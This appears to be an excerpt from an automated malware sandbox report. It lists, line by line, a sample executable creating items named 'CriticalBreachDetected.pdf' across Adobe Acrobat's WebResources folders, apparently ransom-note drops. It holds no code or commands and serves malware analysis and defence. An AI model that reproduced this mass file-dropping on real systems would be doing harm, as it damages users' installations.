Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app-api\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app-api\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\core\dev\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\files\dev\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\jquery.ui.touch-punch\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\jquery.ui.touch-punch\0.2.2\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\microsoftGraph\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\require\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\libs\require\2.1.15\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\misc\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
